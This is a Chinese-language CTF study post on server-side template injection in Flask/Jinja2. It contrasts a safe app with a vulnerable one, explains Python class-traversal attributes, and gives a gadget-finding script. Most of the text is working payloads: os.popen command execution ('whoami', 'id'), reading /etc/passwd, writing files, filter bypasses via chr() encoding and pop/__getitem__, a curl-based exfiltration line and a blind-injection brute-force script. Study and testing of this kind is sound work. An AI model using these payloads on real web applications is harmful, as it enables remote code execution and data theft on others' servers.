cl4y@星盟
[toc]
之前有做过一些SSTI的ctf,但是没有系统的学习,今天来总结一下。
python、flask、jinja2
ssti主要为python的一些框架 jinja2 mako tornado django,PHP框架smarty twig,java框架jade velocity等等使用了渲染函数,这些函数对用户的输入信任,造成了模板注入漏洞,可以造成文件泄露,rce等漏洞。
**永远 不要 相信 用户的任何输入**
不同框架有不同的渲染模板:
一个安全的代码应该如下:
#/www from flask import Flask,request,render_template from jinja2 import Template app = Flask(__name__) app.config['SECRET'] = "root:password" @app.route('/') @app.route('/index') def index(): return render_template("index.html",title='SSTI_TEST',name=request.args.get("name")) if __name__ == "__main__": app.run()
<!--/www/templates/index.html--> <html> <head> <title>{{title}} - cl4y</title> </head> <body> <h1>Hello, {{name}} !</h1> </body> </html>
可以看到,我们在index.html里面构造了两个渲染模板,用户通过传递name参数可以控制回显的内容:
即使用户输入渲染模板,更改语法结构,也不会造成SSTI注入:
原因是:服务端先将index.html渲染,然后读取用户输入的参数,模板其实已经固定,用户的输入不会更改模板的语法结构。
而如果有程序员为了图省事,将代码这样写:
from flask import Flask,request from jinja2 import Template app = Flask(__name__) app.config['SECRET_KEY'] = "password:123456789" @app.route("/") def index(): name = request.args.get('name', 'guest') t = Template(''' <html> <head> <title>SSTI_TEST - cl4y</title> </head> <body> <h1>Hello, %s !</h1> </body> </html> '''% (name)) return t.render() if __name__ == "__main__": app.run()
我们再进行测试:
可以看到,我们输入的内容被服务器渲染然后输出,形成SSTI模板注入漏洞。
__class__
万物皆对象,而class用于返回该对象所属的类,比如某个字符串,他的对象为字符串对象,而其所属的类为<class 'str'>
__bases__
以元组的形式返回一个类所直接继承的类。
__base__
以字符串返回一个类所直接继承的第一个类。
__mro__
返回解析方法调用的顺序。
可以看到__bases__
返回了test()的两个父类,__bases_
返回了test()的第一个父类,__mro__
按照子类到父类到父父类解析的顺序返回所有类。
__subclasses__()
获取类的所有子类。
__init__
所有自带类都包含init方法。
__globals__
function.__globals__
,用于获取function所处空间下可使用的module、方法以及所有变量。
__class__
拿到他所对应的类__bases__
拿到基类(<class 'object'>
)__subclasses__()
拿到子类列表''.__class__.__bases__[0].__subclasses__() ().__class__.__mro__[2].__subclasses__() request.__class__.__mro__[1]
接下来只要找到能够利用的类(方法、函数)就好了:
from flask import Flask,request from jinja2 import Template search = 'eval' num = -1 for i in ().__class__.__bases__[0].__subclasses__(): num += 1 try: if search in i.__init__.__globals__.keys(): print(i, num) except: pass
这是一个找可利用类的脚本,可供师傅们自己去发掘利用链,想利用啥,就找啥就行了。然后我找到了一下利用链,在下面写出。
因为每个环境使用的python库不同 所以类的排序有差异
popen
(python2不行)os._wrap_close
类里有popen。
"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read() "".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__.popen('whoami').read()
os
下的popen
可以从含有os的基类入手,比如说linecache
。
"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['os'].popen('whoami').read()
__import__
下的os
(python2不行)可以使用__import__
的os
。
"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()
__builtins__
下的多个函数__builtins__
下有eval
,__import__
等的函数,可以利用此来执行命令。
"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()") "".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()") "".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.__import__('os').popen('id').read() "".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()
file
类读写文件在python3中file
类被删除了,所以以下payload只有python2中可行。
用dir
来看看内置的方法:
#读文件 [].__class__.__bases__[0].__subclasses__()[40]('etc/passwd').read() [].__class__.__bases__[0].__subclasses__()[40]('etc/passwd').readlines() #写文件 "".__class__.__bases__[0].__bases__[0].__subclasses__()[40]('/tmp').write('test') #python2的str类型不直接从属于属于基类,所以要两次 .__bases__
原理就是找到含有__builtins__
的类,然后利用。
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}{% endif %}{% endfor %} #读写文件 {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
#通过__bases__.__getitem__(0)(__subclasses__().__getitem__(128))绕过__bases__[0](__subclasses__()[128]) #通过__subclasses__().pop(128)绕过__bases__[0](__subclasses__()[128]) "".__class__.__bases__.__getitem__(0).__subclasses__().pop(128).__init__.__globals__.popen('whoami').read()
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(250).__init__.__globals__.__builtins__.chr %}{{().__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.os.popen(chr(119)%2bchr(104)%2bchr(111)%2bchr(97)%2bchr(109)%2bchr(105)).read()}}
{% if ''.__class__.__bases__.__getitem__(0).__subclasses__().pop(250).__init__.__globals__.os.popen('curl http://127.0.0.1:7999/?i=`whoami`').read()=='p' %}1{% endif %}
python2下如果不能用命令执行,可以使用file
类进行盲注
import requests url = 'http://127.0.0.1:8080/' def check(payload): postdata = { 'exploit':payload } r = requests.post(url, data=postdata).content return '~p0~' in r password = '' s = r'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"$\'()*+,-./:;<=>?@[\\]^`{|}~\'"_%' for i in xrange(0,100): for c in s: payload = '{% if "".__class__.__mro__[2].__subclasses__()[40]("/tmp/test").read()['+str(i)+':'+str(i+1)+'] == "'+c+'" %}~p0~{% endif %}' if check(payload): password += c break print password
ps. 其实还可以再绕过 双花括号,不过payload过于恶心,懒得写了,不过或许之后会出一道题也不好说2333。
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(250).__init__.__globals__.__builtins__.chr %}{% for c in ().__class__.__base__.__subclasses__() %}{% if c.__name__==chr(95)%2bchr(119)%2bchr(114)%2bchr(97)%2bchr(112)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(111)%2bchr(115)%2bchr(101) %}{{ c.__init__.__globals__.popen(chr(119)%2bchr(104)%2bchr(111)%2bchr(97)%2bchr(109)%2bchr(105)).read() }}{% endif %}{% endfor %}